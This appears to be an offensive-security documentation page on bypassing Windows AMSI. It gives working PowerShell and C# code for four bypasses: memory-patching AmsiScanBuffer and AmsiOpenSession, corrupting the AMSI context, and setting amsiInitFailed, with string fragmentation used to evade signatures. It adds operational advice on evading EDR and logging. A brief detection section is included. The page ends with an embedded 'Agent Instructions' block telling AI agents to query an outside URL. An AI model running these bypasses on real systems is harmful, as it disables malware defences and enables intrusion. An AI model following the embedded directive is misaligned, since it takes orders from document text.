# AMSI Bypass - Neutralizing the Microsoft Antimalware Scan Interface

### Overview

The Antimalware Scan Interface (AMSI) is one of the most pervasive defensive layers in modern Windows environments. Introduced in Windows 10 and Server 2016, it was designed to expose runtime script content to any antimalware product registered on the system — including Windows Defender.

Unlike traditional file-based AV that operates on disk artifacts, AMSI works **in memory**, intercepting content buffers before the interpreter executes them. This directly affects PowerShell, VBScript, JScript, WMI, and any application that implements the AMSI API.

For an offensive operator, understanding the internals of AMSI is a prerequisite for any activity involving dynamically loaded scripts or shellcode.

***

### How AMSI Works Internally

The AMSI scanning flow passes through a well-defined sequence of components:

```
┌─────────────────────────────────────────────────────────────────┐
│                     AMSI Flow — Overview                        │
│                                                                 │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────────┐  │
│  │  Interpreter │───▶│  amsi.dll    │───▶│  AV Provider     │  │
│  │  (PowerShell,│    │  (AmsiScan   │    │  (Defender,      │  │
│  │   JScript...)│    │   Buffer)    │    │   CrowdStrike..) │  │
│  └──────────────┘    └──────────────┘    └──────────────────┘  │
│         │                   │                     │             │
│         │                   ▼                     ▼             │
│         │          ┌──────────────┐    ┌──────────────────┐    │
│         │          │  AMSI_RESULT │    │  AMSI_RESULT_    │    │
│         │          │  _CLEAN (1)  │    │  DETECTED (32768)│    │
│         │          └──────────────┘    └──────────────────┘    │
│         │                   │                                   │
│         └───────────────────▶ Execution allowed / blocked       │
└─────────────────────────────────────────────────────────────────┘
```

When a script is invoked, the interpreter calls `AmsiInitialize()` to create a session context (`HAMSI`), then `AmsiOpenSession()` to open a session, and then `AmsiScanBuffer()` to submit the content to the provider. The return value is an `AMSI_RESULT` that determines whether execution continues.

The library `amsi.dll` is loaded into the same address space as the host process. This is simultaneously its strength and its principal weakness: it operates in userland, inside a process that an attacker can control.

***

### Technique 1: AmsiScanBuffer Patch via Reflection (PowerShell)

This is the most well-known technique. It documents how to exploit direct memory access within the process via .NET reflection to corrupt the `AmsiScanBuffer` function at runtime.

#### Principle

The `AmsiScanBuffer` function in `amsi.dll` has a predictable prologue in its first bytes:

```
; AmsiScanBuffer prologue (x64)
48 8B C4          ; mov rax, rsp
48 89 58 08       ; mov [rax+8], rbx
48 89 70 10       ; mov [rax+10h], rsi
```

If we replace the first bytes with a sequence that forces an immediate return with `AMSI_RESULT_CLEAN` (value `1`), all subsequent calls are ignored by the AV provider.

#### The Patch

```powershell
function Invoke-AmsiBypass {
    [CmdletBinding()]
    param()

    # Reflection to access internal types and methods without triggering AMSI
    $Win32 = @"
    using System;
    using System.Runtime.InteropServices;
    public class Win32 {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
"@

    Add-Type $Win32

    # Load amsi.dll and resolve the address of AmsiScanBuffer
    $lib     = [Win32]::LoadLibrary("amsi.dll")
    $addr    = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")

    # Patch bytes: mov eax, 0x80070057 ; ret
    # 0x80070057 = E_INVALIDARG — forces return without actual scan
    $patch   = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

    $oldProt = 0
    [Win32]::VirtualProtect($addr, [UIntPtr]5, 0x40, [ref]$oldProt) | Out-Null

    $marshal = [System.Runtime.InteropServices.Marshal]
    $marshal::Copy($patch, 0, $addr, $patch.Length)

    # Restore original protection (optional — increases stealth)
    [Win32]::VirtualProtect($addr, [UIntPtr]5, $oldProt, [ref]0) | Out-Null

    Write-Output "[+] AmsiScanBuffer patched successfully."
}
```

> **Why `E_INVALIDARG`?** The return value `0x80070057` is a Windows error constant indicating an invalid argument. When `AmsiScanBuffer` returns this code, the interpreter treats it as an inconclusive result and continues execution without calling the AV provider. This is less suspicious in logs than returning `AMSI_RESULT_CLEAN` directly.

***

### Technique 2: Patch via Context Pointer (AmsiContext Corruption)

This technique exploits a characteristic of the `AMSI_CONTEXT` object: it stores an 8-byte header starting with the string `AMSI`. If we corrupt that value, the AMSI library treats the context as invalid and returns `AMSI_RESULT_CLEAN` directly.

```csharp
using System;
using System.Reflection;
using System.Runtime.InteropServices;

public class AmsiContextBypass
{
    public static bool Patch()
    {
        // Access the current runspace session via internal reflection
        var ams = typeof(System.Management.Automation.AmsiUtils);
        var field = ams.GetField("amsiContext",
            BindingFlags.NonPublic | BindingFlags.Static);

        if (field == null) return false;

        var ctx = field.GetValue(null);
        if (ctx == null) return false;

        // Convert to IntPtr and zero out the first 4 bytes (magic "AMSI")
        var ptr  = (IntPtr)ctx;
        Marshal.WriteInt32(ptr, 0);  // Zeroes the header — invalid context

        return true;
    }
}
```

#### Technique Comparison

```
┌─────────────────────────────┬──────────────────────┬────────────────────────┐
│ Technique                   │ Where it acts        │ Detectability          │
├─────────────────────────────┼──────────────────────┼────────────────────────┤
│ AmsiScanBuffer patch        │ Function code        │ High (ETW, hooks)      │
│ AmsiContext corruption      │ Data structure       │ Medium                 │
│ AmsiOpenSession patch       │ Session opening      │ Medium                 │
│ DLL hijacking (amsi)        │ Loader               │ Low (per process)      │
└─────────────────────────────┴──────────────────────┴────────────────────────┘
```

***

### Technique 3: AmsiOpenSession Patch

`AmsiOpenSession` is called before `AmsiScanBuffer`. If we patch it to return `E_ACCESSDENIED`, the session is never created and scanning never occurs.

```csharp
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
    uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr LoadLibrary(string lpFileName);

static void PatchAmsiOpenSession()
{
    IntPtr lib  = LoadLibrary("amsi.dll");
    IntPtr addr = GetProcAddress(lib, "AmsiOpenSession");

    // Patch: xor eax, eax; ret (returns 0 — no session created)
    byte[] patch = { 0x31, 0xC0, 0xC3 };

    uint old = 0;
    VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old);
    Marshal.Copy(patch, 0, addr, patch.Length);
    VirtualProtect(addr, (UIntPtr)patch.Length, old, out _);
}
```

***

### Technique 4: Forcing Failure via Private Field Reflection

PowerShell maintains an instance of `System.Management.Automation.AmsiUtils` with fields that control whether AMSI is active. One of the least invasive approaches is forcing the `amsiInitFailed` field to `true`:

```powershell
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null, $true)
```

When `amsiInitFailed` is `true`, PowerShell skips all AMSI initialization in subsequent calls. This is one of the oldest techniques and also the most heavily signatured by modern providers — any literal variation is detected. Real operators use string fragmentation and concatenation to avoid the signature:

```powershell
# Fragmentation to avoid static signature
$x = 'amsi'+'Init'+'Failed'
$f = $a.GetField($x, 'NonPublic,Static')
$f.SetValue($null, $true)
```

***

### Detection and Countermeasures

From the defensive perspective, detection mechanisms for AMSI bypasses include:

* **ETW (Event Tracing for Windows)**: Providers such as `Microsoft-Antimalware-Scan-Interface` and `Microsoft-Windows-PowerShell` emit events when AMSI is initialized and when scans occur. The absence of scan events after a session is initiated is anomalous.
* **Kernel Patch Protection (KPP / PatchGuard)**: Does not apply to userland, but modern EDRs install kernel callbacks to detect modification of pages marked as executable in system DLLs.
* **Script Block Logging (Event ID 4104)**: Independent of AMSI, PowerShell logs script blocks via ETW before the bypass is applied — if the bypass is loaded from a file, the file itself may be logged.
* **Memory scanning**: Tools like `pe-sieve` or EDR callbacks monitor writes to memory regions of system modules.

```
┌──────────────────────────────────────────────────────────────────┐
│              Detection Surface per Technique                     │
│                                                                  │
│  AmsiScanBuffer patch ──────▶ ETW + EDR hook + memory scan      │
│  AmsiContext corruption ────▶ ETW (absence of events)           │
│  amsiInitFailed reflection ─▶ Script Block Log + AMSI signature │
│  AmsiOpenSession patch ─────▶ ETW + hook in ntdll               │
└──────────────────────────────────────────────────────────────────┘
```

***

### Operational Considerations

In real engagements, the technique choice depends on the environment:

1. **PowerShell Constrained Language Mode (CLM)**: Reflection is blocked. Patches via DLL hijacking or compiled C/C++ loaders are preferable.
2. **EDRs with userland hooks**: VirtualProtect on amsi.dll regions may trigger callbacks. Techniques operating via direct syscalls reduce this exposure.
3. **Script Block Logging enabled**: The bypass must be loaded before any malicious content enters the PowerShell pipeline — or the bypass itself will be the only artifact logged.
4. **AMSI in CLR (.NET)**: AMSI also operates on dynamically loaded .NET assemblies. Patches to `amsi.dll` cover both scenarios, but loaders that never call `Assembly.Load` in the CLR avoid that surface entirely.

***

### References

* Matt Graeber, "Bypassing AMSI" (2016) — original bypass research via reflection
* Cybereason Labs, "AMSI: How Windows 10 Plans to Stop Script-Based Attacks" (2016)
* Microsoft Docs, "Antimalware Scan Interface (AMSI)" — docs.microsoft.com/en-us/windows/win32/amsi/
* ired.team, "Bypass AMSI by Patching AmsiScanBuffer" — ired.team/offensive-security/defense-evasion/
* Daniel Duggan (RastaMouse), "AmsiScanBuffer Bypass" — rastamouse.me
* Paul Laîné, "A Deep Dive Into AMSI" — SANS Institute Reading Room
* Elastic Security Labs, "Hunting for AMSI Bypass Techniques" (2023)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/amsi-bypass-neutralizing-the-microsoft-antimalware-scan-interface.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
